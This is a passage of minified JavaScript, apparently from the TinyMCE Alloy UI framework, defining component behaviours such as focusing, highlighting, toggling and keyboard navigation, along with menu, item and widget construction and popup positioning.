wu({readState:e,isOpen:t.isSet,clear:t.clear,set:t.set,get:t.get})}})}),yf=rt("dismiss.popups"),xf=rt("reposition.popups"),wf=rt("mouse.released"),Sf=to([Eo("isExtraPart",T),To("fireEventInstead",[Eo("event",Yi())])]),kf=to([To("fireEventInstead",[Eo("event",qi())]),vo("doReposition")]),Cf=Object.freeze({__proto__:null,onLoad:qs,onUnload:Ks,setValue:function(t,e,n,o){e.store.manager.setValue(t,e,n,o)},getValue:function(t,e,n){return e.store.manager.getValue(t,e,n)},getState:function(t,e,n){return n}}),Of=Object.freeze({__proto__:null,events:function(n,o){var t=n.resetOnDom?[ou(function(t,e){qs(t,n,o)}),ru(function(t,e){Ks(t,n,o)})]:[ba(n,o,qs)];return nu(t)}}),_f=Object.freeze({__proto__:null,memory:Js,dataset:$s,manual:function(){return wu({readState:st})},init:function(t){return t.store.manager.state(t)}}),Tf=[wo("initialValue"),mo("getFallbackEntry"),mo("getDataKey"),mo("setValue"),ta("manager",{setValue:Qs,getValue:function(t,e,n){var o=e.store,r=o.getDataKey(t);return n.lookup(r).getOrThunk(function(){return o.getFallbackEntry(r)})},onLoad:function(e,n,o){n.store.initialValue.each(function(t){Qs(e,n,o,t)})},onUnload:function(t,e,n){n.clear()},state:$s})],Ef=[mo("getValue"),Eo("setValue",st),wo("initialValue"),ta("manager",{setValue:function(t,e,n,o){e.store.setValue(t,o),e.onSetValue(t,o)},getValue:function(t,e,n){return e.store.getValue(t)},onLoad:function(e,n,t){n.store.initialValue.each(function(t){n.store.setValue(e,t)})},onUnload:st,state:xu.init})],Df=xa({fields:[Do("store",{mode:"memory"},lo("mode",{memory:[wo("initialValue"),ta("manager",{setValue:function(t,e,n,o){n.set(o),e.onSetValue(t,o)},getValue:function(t,e,n){return n.get()},onLoad:function(t,e,n){e.store.initialValue.each(function(t){n.isNotSet()&&n.set(t)})},onUnload:function(t,e,n){n.clear()},state:Js})],manual:Ef,dataset:Tf})),Ju("onSetValue"),Eo("resetOnDom",!1)],name:"representing",active:Of,apis:Cf,extra:{setValueFrom:function(t,e){var n=Df.getValue(e);Df.setValue(t,n)}},state:_f}),Af=Zs,Bf=el,Mf="placeholder",Ff=Vo([{single:["required","valueThunk"]},{multiple:["required","valueThunks"]}]),If=function(r,i,u,a){return t=r,n=a,(nl(e=u)&&e.uiType===Mf?(c=e,s=n,(o=t).exists(function(t){return t!==c.owner})?Ff.single(!0,rt(c)):tt(s,c.name).fold(function(){throw new Error("Unknown placeholder component: "+c.name+"\nKnown: ["+Ct(s)+"]\nNamespace: "+o.getOr("none")+"\nSpec: "+JSON.stringify(c,null,2))},function(t){return t.replace()})):Ff.single(!1,rt(e))).fold(function(t,e){var n=nl(u)?e(i,u.config,u.validated):e(i),o=H(tt(n,"components").getOr([]),function(t){return If(r,i,t,a)});return[lt(lt({},n),{components:o})]},function(t,e){if(nl(u)){var n=e(i,u.config,u.validated);return u.validated.preprocess.getOr(h)(n)}return e(i)});var t,e,n,o,c,s},Rf=Ff.single,Nf=Ff.multiple,Pf=rt(Mf),Vf=Vo([{required:["data"]},{external:["data"]},{optional:["data"]},{group:["data"]}]),Hf=Eo("factory",{sketch:h}),Lf=Eo("schema",[]),zf=mo("name"),Uf=ar("pname","pname",Wn(function(t){return"<alloy."+Ir(t.name)+">"}),Zo()),jf=cr("schema",function(){return[wo("preprocess")]}),Wf=Eo("defaults",rt({})),Gf=Eo("overrides",rt({})),Xf=$o([Hf,Lf,zf,Uf,Wf,Gf]),Yf=$o([Hf,Lf,zf,Wf,Gf]),qf=$o([Hf,Lf,zf,Uf,Wf,Gf]),Kf=$o([Hf,jf,zf,mo("unit"),Uf,Wf,Gf]),Jf=il(Vf.required,Xf),$f=il(Vf.external,Yf),Qf=il(Vf.optional,qf),Zf=il(Vf.group,Kf),td=rt("entirety"),ed=Object.freeze({__proto__:null,required:Jf,external:$f,optional:Qf,group:Zf,asNamedPart:ol,name:rl,asCommon:function(t){return t.fold(h,h,h,h)},original:td}),nd=function(t,e){return{uiType:Pf(),owner:t,name:e}},od=Object.freeze({__proto__:null,generate:al,generateOne:cl,schemas:sl,names:ll,substitutes:fl,components:dl,defaultUids:yl,defaultUidsSchema:xl,getAllParts:hl,getAllPartNames:vl,getPart:ml,getPartOrDie:gl,getParts:pl,getPartsOrDie:bl}),rd=function(t){return Tt(t,"uid")?t:lt(lt({},t),{uid:pu("uid")})},id=to([mo("name"),mo("factory"),mo("configFields"),Eo("apis",{}),Eo("extraApis",{})]),ud=to([mo("name"),mo("factory"),mo("configFields"),mo("partFields"),Eo("apis",{}),Eo("extraApis",{})]),ad=Object.freeze({__proto__:null,getCurrent:function(t,e,n){return e.find(t)}}),cd=xa({fields:[mo("find")],name:"composing",apis:ad}),sd=["input","button","textarea","select"],ld=function(e,t,n){t.disableClass.each(function(t){Yr(e.element,t)}),(Tl(e,t)?function(t){oe(t.element,"disabled","disabled")}:function(t){oe(t.element,"aria-disabled","true")})(e),t.onDisabled(e)},fd=function(e,t,n){t.disableClass.each(function(t){qr(e.element,t)}),(Tl(e,t)?function(t){ce(t.element,"disabled")}:function(t){oe(t.element,"aria-disabled","false")})(e),t.onEnabled(e)},dd=Object.freeze({__proto__:null,enable:fd,disable:ld,isDisabled:El,onLoad:_l,set:function(t,e,n,o){(o?ld:fd)(t,e)}}),md=Object.freeze({__proto__:null,exhibit:function(t,e){return zr({classes:e.disabled()?e.disableClass.toArray():[]})},events:function(n,t){return nu([Sr(Ii(),function(t,e){return El(t,n)}),ba(n,t,_l)])}}),gd=xa({fields:[Io("disabled",T),Eo("useNative",!0),wo("disableClass"),Ju("onDisabled"),Ju("onEnabled")],name:"disabling",active:md,apis:dd}),pd=Object.freeze({__proto__:null,dehighlightAll:function(t,e,n){return Dl(t,e,0,[])},dehighlight:function(t,e,n,o){Yl(0,e,0,o)&&(qr(o.element,e.highlightClass),e.onDehighlight(t,o),vr(o,tu()))},highlight:Al,highlightFirst:function(e,n,t){ql(e,n).each(function(t){Al(e,n,0,t)})},highlightLast:function(e,n,t){Kl(e,n).each(function(t){Al(e,n,0,t)})},highlightAt:function(e,n,t,o){var r,i,u;i=o,u=vs((r=e).element,"."+n.itemClass),vt.from(u[i]).fold(function(){return Nn.error(new Error("No element found with index "+i))},r.getSystem().getByDom).fold(function(t){throw t},function(t){Al(e,n,0,t)})},highlightBy:function(e,n,t,o){N(Jl(e,n),o).each(function(t){Al(e,n,0,t)})},isHighlighted:Yl,getHighlighted:function(e,t,n){return Iu(e.element,"."+t.highlightClass).bind(function(t){return e.getSystem().getByDom(t).toOptional()})},getFirst:ql,getLast:Kl,getPrevious:function(t,e,n){return Bl(t,e,0,-1)},getNext:function(t,e,n){return Bl(t,e,0,1)},getCandidates:Jl}),hd=xa({fields:[mo("highlightClass"),mo("itemClass"),Ju("onHighlight"),Ju("onDehighlight")],name:"highlighting",apis:pd}),vd=[8],bd=[9],yd=[13],xd=[27],wd=[32],Sd=[37],kd=[38],Cd=[39],Od=[40],_d=O(Vl);function Td(t,e,n,o,a){function c(e,n,t,o,r){var i=t(e,n,o,r),u=n.event;return N(i,function(t){return t.matches(u)}).map(function(t){return t.classification}).bind(function(t){return t(e,n,o,r)})}var r={schema:function(){return t.concat([Eo("focusManager",Ul()),Do("focusInside","onFocus",io(function(t){return wt(["onFocus","onEnterOrSpace","onApi"],t)?Nn.value(t):Nn.error("Invalid value for focusInside")})),ta("handler",r),ta("state",e),ta("sendFocusIn",a)])},processKey:c,toEvents:function(i,u){var t=i.focusInside!==Zl.OnFocusMode?vt.none():a(i).map(function(n){return Cr(Ai(),function(t,e){n(t,i,u),e.stop()})}),e=[Cr(xi(),function(o,r){c(o,r,n,i,u).fold(function(){var e=o,n=r,t=Nl(wd.concat(yd))(n.event);i.focusInside===Zl.OnEnterOrSpaceMode&&t&&gr(e,n)&&a(i).each(function(t){t(e,i,u),n.stop()})},function(t){r.stop()})}),Cr(wi(),function(t,e){c(t,e,o,i,u).each(function(t){e.stop()})})];return nu(t.toArray().concat(e))}};return r}function Ed(t){function a(t,e){return 0<xe(t.visibilitySelector.bind(function(t){return Ru(e,t)}).getOr(e))}function e(e,n,t){var o=n,r=F(vs(e.element,o.selector),function(t){return a(o,t)});vt.from(r[o.firstTabstop]).each(function(t){n.focusManager.set(e,t)})}function o(n,t,r,i){var e,u=vs(n.element,r.selector);return(e=r).focusManager.get(n).bind(function(t){return Ru(t,e.selector)}).bind(function(t){return P(u,C(zt,t)).bind(function(t){return e=n,o=r,i(u,t,function(t){return a(e=o,n=t)&&e.useTabstopAt(n);var e,n}).fold(function(){return o.cyclic?vt.some(!0):vt.none()},function(t){return o.focusManager.set(e,t),vt.some(!0)});var e,o})})}var n=[wo("onEscape"),wo("onEnter"),Eo("selector",'[data-alloy-tabstop="true"]:not(:disabled)'),Eo("firstTabstop",0),Eo("useTabstopAt",D),wo("visibilitySelector")].concat([t]),r=rt([Ll(Pl([Vl,Nl(bd)]),function(t,e,n){return o(t,0,n,n.cyclic?Ml:Fl)}),Ll(Nl(bd),function(t,e,n){return o(t,0,n,n.cyclic?Il:Rl)}),Ll(Nl(xd),function(e,n,t){return t.onEscape.bind(function(t){return t(e,n)})}),Ll(Pl([_d,Nl(yd)]),function(e,n,t){return t.onEnter.bind(function(t){return t(e,n)})})]),i=rt([]);return Td(n,xu.init,r,i,function(){return vt.some(e)})}function Dd(t,e,n){return Ol(n)&&Nl(wd)(e.event)?vt.none():(xr(t,n,Ii()),vt.some(!0))}function Ad(t,e){return vt.some(!0)}function Bd(t,e,n){return n.execute(t,e,t.element)}function Md(){var n=gc();return wu({readState:function(){return n.get().map(function(t){return{numRows:String(t.numRows),numColumns:String(t.numColumns)}}).getOr({numRows:"?",numColumns:"?"})},setGridSize:function(t,e){n.set({numRows:t,numColumns:e})},getNumRows:function(){return n.get().map(function(t){return t.numRows})},getNumColumns:function(){return n.get().map(function(t){return t.numColumns})}})}function Fd(i){return function(t,e,n,o){var r=i(t.element);return qm(r,t,e,n,o)}}function Id(t,e){return Fd(Cc(t,e))}function Rd(t,e){return Fd(Cc(e,t))}function Nd(r){return function(t,e,n,o){return qm(r,t,e,n,o)}}function Pd(t){return!((e=t.dom).offsetWidth<=0&&e.offsetHeight<=0);var e}function Vd(t,e,n){var o,r=F(vs(t,n),Pd);return P(o=r,function(t){return zt(t,e)}).map(function(t){return{index:t,candidates:o}})}function Hd(t,e){return P(t,function(t){return zt(e,t)})}function Ld(n,t,o,e){return e(Math.floor(t/o),t%o).bind(function(t){var e=t.row*o+t.column;return 0<=e&&e<n.length?vt.some(n[e]):vt.none()})}function zd(r,t,i,u,a){return Ld(r,t,u,function(t,e){var n=t===i-1?r.length-t*u:u,o=oa(e,a,0,n-1);return vt.some({row:t,column:o})})}function Ud(i,t,u,a,c){return Ld(i,t,a,function(t,e){var n=oa(t,c,0,u-1),o=n===u-1?i.length-n*a:a,r=Wa(e,0,o-1);return vt.some({row:n,column:r})})}function jd(e,n,t){Iu(e.element,n.selector).each(function(t){n.focusManager.set(e,t)})}function Wd(r){return function(t,e,n,o){return Vd(t,e,n.selector).bind(function(t){return r(t.candidates,t.index,o.getNumRows().getOr(n.initSize.numRows),o.getNumColumns().getOr(n.initSize.numColumns))})}}function Gd(t,e,n){return n.captureTab?vt.some(!0):vt.none()}function Xd(t,e,n,i){var u=function(t,e,n){var o,r=oa(e,i,0,n.length-1);return r===t?vt.none():"button"===Ft(o=n[r])&&"disabled"===ie(o,"disabled")?u(t,r,n):vt.from(n[r])};return Vd(t,n,e).bind(function(t){var e=t.index,n=t.candidates;return u(e,e,n)})}function Yd(e,n,o){return(r=o).focusManager.get(e).bind(function(t){return Ru(t,r.selector)}).bind(function(t){return o.execute(e,n,t)});var r}function qd(e,n,t){n.getInitial(e).orThunk(function(){return Iu(e.element,n.selector)}).each(function(t){n.focusManager.set(e,t)})}function Kd(t,e,n){return Xd(t,n.selector,e,-1)}function Jd(t,e,n){return Xd(t,n.selector,e,1)}function $d(r){return function(t,e,n,o){return r(t,e,n,o).bind(function(){return n.executeOnMove?Yd(t,e,n):vt.some(!0)})}}function Qd(t,e,n){return n.onEscape(t,e)}function Zd(t,e,n){return vt.from(t[e]).bind(function(t){return vt.from(t[n]).map(function(t){return{rowIndex:e,columnIndex:n,cell:t}})})}function tm(t,e,n,o){return Zd(t,e,oa(n,o,0,t[e].length-1))}function em(t,e,n,o){var r=oa(n,o,0,t.length-1),i=t[r].length;return Zd(t,r,Wa(e,0,i-1))}function nm(t,e,n,o){var r=t[e].length;return Zd(t,e,Wa(n+o,0,r-1))}function om(t,e,n,o){var r=Wa(n+o,0,t.length-1),i=t[r].length;return Zd(t,r,Wa(e,0,i-1))}function rm(e,n,t){n.previousSelector(e).orThunk(function(){var t=n.selectors;return Iu(e.element,t.cell)}).each(function(t){n.focusManager.set(e,t)})}function im(t,o){return function(e,n,i){var u=i.cycles?t:o;return Ru(n,i.selectors.row).bind(function(t){return Hd(vs(t,i.selectors.cell),n).bind(function(o){var r=vs(e,i.selectors.row);return Hd(r,t).bind(function(t){var e,n=(e=i,B(r,function(t){return vs(t,e.selectors.cell)}));return u(n,t,o).map(function(t){return t.cell})})})})}}function um(e,n,o){return o.focusManager.get(e).bind(function(t){return o.execute(e,n,t)})}function am(e,n,t){Iu(e.element,n.selector).each(function(t){n.focusManager.set(e,t)})}function cm(t,e,n){return Xd(t,n.selector,e,-1)}function sm(t,e,n){return Xd(t,n.selector,e,1)}function lm(t,e,n,o){var r=t.getSystem().build(o);gf(t,r,n)}function fm(t,e,n,o){N(Eg(t),function(t){return zt(o.element,t.element)}).each(Vs)}function dm(e,t,n,r,o){var i=Eg(e);return vt.from(i[r]).map(function(t){return fm(e,0,0,t),o.each(function(t){lm(e,0,function(t,e){var n,o=e;Jt(n=t,r).fold(function(){Tn(n,o)},function(t){Ee(t,o)})},t)}),t})}function mm(t,e){var n,o;return{key:t,value:{config:{},me:(n=t,o=nu(e),xa({fields:[mo("enabled")],name:n,active:{events:rt(o)}})),configAsRaw:rt({}),initialConfig:{},state:xu}}}function gm(t,e){e.ignore||(ka(t.element),e.onFocus(t))}function pm(t,e,n){var o=e.aria;o.update(t,o,n.get())}function hm(e,t,n){t.toggleClass.each(function(t){(n.get()?Yr:qr)(e.element,t)})}function vm(t,e,n){zm(t,e,n,!n.get())}function bm(t,e,n){n.set(!0),hm(t,e,n),pm(t,e,n)}function ym(t,e,n){n.set(!1),hm(t,e,n),pm(t,e,n)}function xm(t,e,n){zm(t,e,n,e.selected)}function wm(){function t(t,e){e.stop(),yr(t)}return[Cr(Ci(),t),Cr(Ni(),t),Dr(si()),Dr(mi())]}function Sm(t){return nu(ft([t.map(function(n){return uu(function(t,e){n(t),e.stop()})}).toArray(),wm()]))}function km(t){(_a(t.element).isNone()||Mg.isFocused(t))&&(Mg.isFocused(t)||Mg.focus(t),br(t,Ng,{item:t}))}function Cm(t){br(t,Pg,{item:t})}function Om(t,e){return t.x+t.width/2-e.width/2}function _m(t,e){return t.x+t.width-e.width}function Tm(t,e){return t.y+t.height-e.height}function Em(t,e){return t.y+t.height/2-e.height/2}function Dm(t,e,n){return na(_m(t,e),Tm(t,e),n.insetSouthwest(),Ha(),"southwest",ra(t,{right:0,bottom:3}),ep)}function Am(t,e,n){return na(t.x,Tm(t,e),n.insetSoutheast(),Va(),"southeast",ra(t,{left:1,bottom:3}),ep)}function Bm(t,e,n){return na(_m(t,e),t.y,n.insetNorthwest(),Pa(),"northwest",ra(t,{right:0,top:2}),ep)}function Mm(t,e,n){return na(t.x,t.y,n.insetNortheast(),Na(),"northeast",ra(t,{left:1,top:2}),ep)}function Fm(t,e,n){return na(_m(t,e),Em(t,e),n.insetEast(),ja(),"east",ra(t,{right:0}),ep)}function Im(t,e,n){return na(t.x,Em(t,e),n.insetWest(),Ua(),"west",ra(t,{left:1}),ep)}function Rm(t){switch(t){case"north":return np;case"northeast":return Mm;case"northwest":return Bm;case"south":return op;case"southeast":return Am;case"southwest":return Dm;case"east":return Fm;case"west":return Im}}function Nm(t,e,n,o,r){return sc(o).map(Rm).getOr(np)(t,e,n,o,r)}function Pm(t){switch(t){case"north":return op;case"northeast":return Am;case"northwest":return Dm;case"south":return np;case"southeast":return Mm;case"southwest":return Bm;case"east":return Im;case"west":return Fm}}function Vm(t,e,n,o,r){return sc(o).map(Pm).getOr(np)(t,e,n,o,r)}function Hm(t){var e=Mt.fromHtml(t),n=Kt(e),o=R(void 0!==e.dom.attributes?e.dom.attributes:[],function(t,e){var n;return"class"===e.name?t:lt(lt({},t),((n={})[e.name]=e.value,n))},{}),r=Array.prototype.slice.call(e.dom.classList,0),i=0===n.length?{}:{innerHtml:Br(e)};return lt({tag:Ft(e),classes:r,attributes:o},i)}function Lm(t){var e=void 0!==t.uid&&et(t,"uid")?t.uid:pu("memento");return{get:function(t){return t.getSystem().getByUid(e).getOrDie()},getOpt:function(t){return t.getSystem().getByUid(e).toOptional()},asSpec:function(){return lt(lt({},t),{uid:e})}}}(tf=Zl=Zl||{}).OnFocusMode="onFocus",tf.OnEnterOrSpaceMode="onEnterOrSpace",tf.OnApiMode="onApi";function zm(t,e,n,o){(o?bm:ym)(t,e,n)}function Um(t,e,n){oe(t.element,"aria-expanded",n)}function jm(t){return"prepared"===t.type?vt.some(t.menu):vt.none()}var Wm=Ed(cr("cyclic",T)),Gm=Ed(cr("cyclic",D)),Xm=Td([Eo("execute",Dd),Eo("useSpace",!1),Eo("useEnter",!0),Eo("useControlEnter",!1),Eo("useDown",!1)],xu.init,function(t,e,n,o){var r=n.useSpace&&!Ol(t.element)?wd:[],i=n.useEnter?yd:[],u=n.useDown?Od:[];return[Ll(Nl(r.concat(i).concat(u)),Bd)].concat(n.useControlEnter?[Ll(Pl([Hl,Nl(yd)]),Bd)]:[])},function(t,e,n,o){return n.useSpace&&!Ol(t.element)?[Ll(Nl(wd),Ad)]:[]},function(){return vt.none()}),Ym=Object.freeze({__proto__:null,flatgrid:Md,init:function(t){return t.state(t)}}),qm=function(e,n,t,o,r){return o.focusManager.get(n).bind(function(t){return e(n.element,t,o,r)}).map(function(t){return o.focusManager.set(n,t),!0})},Km=Nd,Jm=Nd,$m=Nd,Qm=Wd(function(t,e,n,o){return zd(t,e,n,o,-1)}),Zm=Wd(function(t,e,n,o){return zd(t,e,n,o,1)}),tg=Wd(function(t,e,n,o){return Ud(t,e,n,o,-1)}),eg=Wd(function(t,e,n,o){return Ud(t,e,n,o,1)}),ng=Td([mo("selector"),Eo("execute",Dd),$u("onEscape"),Eo("captureTab",!1),Ia()],Md,rt([Ll(Nl(Sd),Id(Qm,Zm)),Ll(Nl(Cd),Rd(Qm,Zm)),Ll(Nl(kd),Km(tg)),Ll(Nl(Od),Jm(eg)),Ll(Pl([Vl,Nl(bd)]),Gd),Ll(Pl([_d,Nl(bd)]),Gd),Ll(Nl(xd),function(t,e,n){return n.onEscape(t,e)}),Ll(Nl(wd.concat(yd)),function(e,n,o,t){return(r=o).focusManager.get(e).bind(function(t){return Ru(t,r.selector)}).bind(function(t){return o.execute(e,n,t)});var r})]),rt([Ll(Nl(wd),Ad)]),function(){return vt.some(jd)}),og=[mo("selector"),Eo("getInitial",vt.none),Eo("execute",Dd),$u("onEscape"),Eo("executeOnMove",!1),Eo("allowVertical",!0)],rg=rt([Ll(Nl(wd),Ad)]),ig=Td(og,xu.init,function(t,e,n,o){var r=Sd.concat(n.allowVertical?kd:[]),i=Cd.concat(n.allowVertical?Od:[]);return[Ll(Nl(r),$d(Id(Kd,Jd))),Ll(Nl(i),$d(Rd(Kd,Jd))),Ll(Nl(yd),Yd),Ll(Nl(wd),Yd),Ll(Nl(xd),Qd)]},rg,function(){return vt.some(qd)}),ug=[bo("selectors",[mo("row"),mo("cell")]),Eo("cycles",!0),Eo("previousSelector",vt.none),Eo("execute",Dd)],ag=im(function(t,e,n){return tm(t,e,n,-1)},function(t,e,n){return nm(t,e,n,-1)}),cg=im(function(t,e,n){return tm(t,e,n,1)},function(t,e,n){return nm(t,e,n,1)}),sg=im(function(t,e,n){return em(t,n,e,-1)},function(t,e,n){return om(t,n,e,-1)}),lg=im(function(t,e,n){return em(t,n,e,1)},function(t,e,n){return om(t,n,e,1)}),fg=rt([Ll(Nl(Sd),Id(ag,cg)),Ll(Nl(Cd),Rd(ag,cg)),Ll(Nl(kd),Km(sg)),Ll(Nl(Od),Jm(lg)),Ll(Nl(wd.concat(yd)),function(e,n,o){return _a(e.element).bind(function(t){return o.execute(e,n,t)})})]),dg=rt([Ll(Nl(wd),Ad)]),mg=Td(ug,xu.init,fg,dg,function(){return vt.some(rm)}),gg=[mo("selector"),Eo("execute",Dd),Eo("moveOnTab",!1)],pg=rt([Ll(Nl(kd),$m(cm)),Ll(Nl(Od),$m(sm)),Ll(Pl([Vl,Nl(bd)]),function(t,e,n,o){return n.moveOnTab?$m(cm)(t,e,n,o):vt.none()}),Ll(Pl([_d,Nl(bd)]),function(t,e,n,o){return n.moveOnTab?$m(sm)(t,e,n,o):vt.none()}),Ll(Nl(yd),um),Ll(Nl(wd),um)]),hg=rt([Ll(Nl(wd),Ad)]),vg=Td(gg,xu.init,pg,hg,function(){return vt.some(am)}),bg=Td([$u("onSpace"),$u("onEnter"),$u("onShiftEnter"),$u("onLeft"),$u("onRight"),$u("onTab"),$u("onShiftTab"),$u("onUp"),$u("onDown"),$u("onEscape"),Eo("stopSpaceKeyup",!1),wo("focusIn")],xu.init,function(t,e,n){return[Ll(Nl(wd),n.onSpace),Ll(Pl([_d,Nl(yd)]),n.onEnter),Ll(Pl([Vl,Nl(yd)]),n.onShiftEnter),Ll(Pl([Vl,Nl(bd)]),n.onShiftTab),Ll(Pl([_d,Nl(bd)]),n.onTab),Ll(Nl(kd),n.onUp),Ll(Nl(Od),n.onDown),Ll(Nl(Sd),n.onLeft),Ll(Nl(Cd),n.onRight),Ll(Nl(wd),n.onSpace),Ll(Nl(xd),n.onEscape)]},function(t,e,n){return n.stopSpaceKeyup?[Ll(Nl(wd),Ad)]:[]},function(t){return t.focusIn}),yg=Wm.schema(),xg=Gm.schema(),wg=ig.schema(),Sg=ng.schema(),kg=mg.schema(),Cg=Xm.schema(),Og=vg.schema(),_g=bg.schema(),Tg=wa({branchKey:"mode",branches:Object.freeze({__proto__:null,acyclic:yg,cyclic:xg,flow:wg,flatgrid:Sg,matrix:kg,execution:Cg,menu:Og,special:_g}),name:"keying",active:{events:function(t,e){return t.handler.toEvents(t,e)}},apis:{focusIn:function(e,n,o){n.sendFocusIn(n).fold(function(){e.getSystem().triggerFocus(e.element,e.element)},function(t){t(e,n,o)})},setGridSize:function(t,e,n,o,r){et(n,"setGridSize")?n.setGridSize(o,r):console.error("Layout does not support setGridSize")}},state:Ym}),Eg=function(t,e){return t.components()},Dg=xa({fields:[],name:"replacing",apis:Object.freeze({__proto__:null,append:function(t,e,n,o){lm(t,0,Tn,o)},prepend:function(t,e,n,o){lm(t,0,Ae,o)},remove:fm,replaceAt:dm,replaceBy:function(e,t,n,o,r){return P(Eg(e),o).bind(function(t){return dm(e,0,0,t,r)})},set:function(e,t,n,o){Ta(function(){var t=B(o,e.getSystem().build);Rs(e,t)},e.element)},contents:Eg})}),Ag=Object.freeze({__proto__:null,focus:gm,blur:function(t,e){e.ignore||t.element.dom.blur()},isFocused:function(t){return Ca(t.element)}}),Bg=Object.freeze({__proto__:null,exhibit:function(t,e){return zr(e.ignore?{}:{attributes:{tabindex:"-1"}})},events:function(n){return nu([Cr(Ai(),function(t,e){gm(t,n),e.stop()})].concat(n.stopMousedown?[Cr(mi(),function(t,e){e.event.prevent()})]:[]))}}),Mg=xa({fields:[Ju("onFocus"),Eo("stopMousedown",!1),Eo("ignore",!1)],name:"focusing",active:Bg,apis:Ag}),Fg=Object.freeze({__proto__:null,onLoad:xm,toggle:vm,isOn:function(t,e,n){return n.get()},on:bm,off:ym,set:zm}),Ig=Object.freeze({__proto__:null,exhibit:function(){return zr({})},events:function(t,e){var n,o,r,i=(n=t,o=e,r=vm,uu(function(t){r(t,n,o)})),u=ba(t,e,xm);return nu(ft([t.toggleOnExecute?[i]:[],[u]]))}}),Rg=xa({fields:[Eo("selected",!1),wo("toggleClass"),Eo("toggleOnExecute",!0),Do("aria",{mode:"none"},lo("mode",{pressed:[Eo("syncWithExpanded",!1),ta("update",function(t,e,n){oe(t.element,"aria-pressed",n),e.syncWithExpanded&&Um(t,0,n)})],checked:[ta("update",function(t,e,n){oe(t.element,"aria-checked",n)})],expanded:[ta("update",Um)],selected:[ta("update",function(t,e,n){oe(t.element,"aria-selected",n)})],none:[ta("update",st)]}))],name:"toggling",active:Ig,apis:Fg,state:{init:function(){var e=Po(!1);return{get:function(){return e.get()},set:function(t){return e.set(t)},clear:function(){return e.set(!1)},readState:function(){return e.get()}}}}}),Ng="alloy.item-hover",Pg="alloy.item-focus",Vg=rt(Ng),Hg=rt(Pg),Lg=[mo("data"),mo("components"),mo("dom"),Eo("hasSubmenu",!1),wo("toggling"),Af("itemBehaviours",[Rg,Mg,Tg,Df]),Eo("ignoreFocus",!1),Eo("domModification",{}),ta("builder",function(t){return{dom:t.dom,domModification:lt(lt({},t.domModification),{attributes:lt(lt(lt({role:t.toggling.isSome()?"menuitemcheckbox":"menuitem"},t.domModification.attributes),{"aria-haspopup":t.hasSubmenu}),t.hasSubmenu?{"aria-expanded":!1}:{})}),behaviours:Bf(t.itemBehaviours,[t.toggling.fold(Rg.revoke,function(t){return Rg.config(lt({aria:{mode:"checked"}},t))}),Mg.config({ignore:t.ignoreFocus,stopMousedown:t.ignoreFocus,onFocus:function(t){Cm(t)}}),Tg.config({mode:"execution"}),Df.config({store:{mode:"memory",initialValue:t.data}}),mm("item-type-events",V(V([],wm(),!0),[Cr(vi(),km),Cr(Ri(),Mg.focus)],!1))]),components:t.components,eventOrder:t.eventOrder}}),Eo("eventOrder",{})],zg=[mo("dom"),mo("components"),ta("builder",function(t){return{dom:t.dom,components:t.components,events:nu([Cr(Ri(),function(t,e){e.stop()})])}})],Ug=rt("item-widget"),jg=rt([Jf({name:"widget",overrides:function(e){return{behaviours:ec([Df.config({store:{mode:"manual",getValue:function(t){return e.data},setValue:st}})])}}})]),Wg=lo("type",{widget:[mo("uid"),mo("data"),mo("components"),mo("dom"),Eo("autofocus",!1),Eo("ignoreFocus",!1),Af("widgetBehaviours",[Df,Mg,Tg]),Eo("domModification",{}),xl(jg()),ta("builder",function(n){function o(t){return ml(t,n,"widget").map(function(t){return Tg.focusIn(t),t})}function t(t,e){return Ol(e.event.target)||n.autofocus&&e.setSource(t.element),vt.none()}var e=fl(Ug(),n,jg()),r=dl(Ug(),n,e.internals());return{dom:n.dom,components:r,domModification:n.domModification,events:nu([uu(function(t,e){o(t).each(function(t){e.stop()})}),Cr(vi(),km),Cr(Ri(),function(t,e){n.autofocus?o(t):Mg.focus(t)})]),behaviours:Bf(n.widgetBehaviours,[Df.config({store:{mode:"memory",initialValue:n.data}}),Mg.config({ignore:n.ignoreFocus,onFocus:function(t){Cm(t)}}),Tg.config({mode:"special",focusIn:n.autofocus?function(t){o(t)}:rc(),onLeft:t,onRight:t,onEscape:function(t,e){return Mg.isFocused(t)||n.autofocus?(n.autofocus&&e.setSource(t.element),vt.none()):(Mg.focus(t),vt.some(!0))}})])}})],item:Lg,separator:zg}),Gg=rt([Zf({factory:{sketch:function(t){var e=so("menu.spec item",Wg,t);return e.builder(e)}},name:"items",unit:"item",defaults:function(t,e){return Tt(e,"uid")?e:lt(lt({},e),{uid:pu("item")})},overrides:function(t,e){return{type:e.type,ignoreFocus:t.fakeFocus,domModification:{classes:[t.markers.item]}}}})]),Xg=rt([mo("value"),mo("items"),mo("dom"),mo("components"),Eo("eventOrder",{}),Zs("menuBehaviours",[hd,Df,cd,Tg]),Do("movement",{mode:"menu",moveOnTab:!0},lo("mode",{grid:[Ia(),ta("config",function(t,e){return{mode:"flatgrid",selector:"."+t.markers.item,initSize:{numColumns:e.initSize.numColumns,numRows:e.initSize.numRows},focusManager:t.focusManager}})],matrix:[ta("config",function(t,e){return{mode:"matrix",selectors:{row:e.rowSelector,cell:"."+t.markers.item},focusManager:t.focusManager}}),mo("rowSelector")],menu:[Eo("moveOnTab",!0),ta("config",function(t,e){return{mode:"menu",selector:"."+t.markers.item,moveOnTab:e.moveOnTab,focusManager:t.focusManager}})]})),go("markers",Fa()),Eo("fakeFocus",!1),Eo("focusManager",Ul()),Ju("onHighlight")]),Yg=rt("alloy.menu-focus"),qg=Cl({name:"Menu",configFields:Xg(),partFields:Gg(),factory:function(t,e,n,o){return{uid:t.uid,dom:t.dom,markers:t.markers,behaviours:el(t.menuBehaviours,[hd.config({highlightClass:t.markers.selectedItem,itemClass:t.markers.item,onHighlight:t.onHighlight}),Df.config({store:{mode:"memory",initialValue:t.value}}),cd.config({find:vt.some}),Tg.config(t.movement.config(t,t.movement))]),events:nu([Cr(Hg(),function(e,n){var t=n.event;e.getSystem().getByDom(t.target).each(function(t){hd.highlight(e,t),n.stop(),br(e,Yg(),{menu:e,item:t})})}),Cr(Vg(),function(t,e){var n=e.event.item;hd.highlight(t,n)})]),components:e,eventOrder:t.eventOrder,domModification:{attributes:{role:"menu"}}}}}),Kg=function(n,o,r,t){return tt(r,t).bind(function(t){return tt(n,t).bind(function(t){var e=Kg(n,o,r,t);return vt.some([t].concat(e))})}).getOr([])},Jg=function(){function a(t){return e(t).bind(jm)}function n(t){return tt(c.get(),t)}var c=Po({}),i=Po({}),s=Po({}),l=gc(),u=Po({}),e=function(t){return tt(i.get(),t)};return{setMenuBuilt:function(t,e){var 